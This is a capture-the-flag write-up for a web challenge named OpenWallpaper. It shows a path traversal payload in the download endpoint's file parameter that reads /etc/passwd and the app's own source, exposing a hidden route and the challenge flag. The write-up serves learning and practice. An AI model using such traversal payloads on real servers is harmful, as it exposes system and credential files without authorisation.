OpenWallpaper (100)

Description

Don't you just love those cats?

http://tenjin.compfest.web.id:10341

Write up

- The URL for downloading a wallpaper is `/download/?file=01.jpg`. A good (?) sign for LFI
- Let's try downloading /etc/passwd: `/download/?file=../../../../../../etc/passwd`... and it works
- Note that this is a Node.js app (as seen in the footer and `x-powered-by` express header)
- A common file in every Node.js app is the `package.json` in the root of the project, so let's try searching for it:

```
/download/?file=package.json - fail
/download/?file=../package.json - success
```

- In the `package.json` file, we can see the main file: `index.js`, as `package.json` is located in root project directory, we can just access `/download/?file=../index.js` and see the source code:

```
var express = require('express');
var fs = require('fs');
var app = express();

app.use(express.static(__dirname + '/public'));

app.put('/forbidden/path/', function(req, res) {
    res.json({
        flag: process.env.FLAG,
    });
});

app.get('/download/*', function(req, res) {
    var file = req.query.file;

    try {
        fs.accessSync('./download/' + file, fs.F_OK);
        res.download('./download/' + file);
    } catch (e) {
        res.status(500).end('Bad file path');
    }
});

app.listen(process.env.PORT || 3000);
```

- So if we just make a PUT HTTP Request to `/forbidden/path` we will get the flag: `COMPFEST9{aww_the_cats_are_so_cute}`.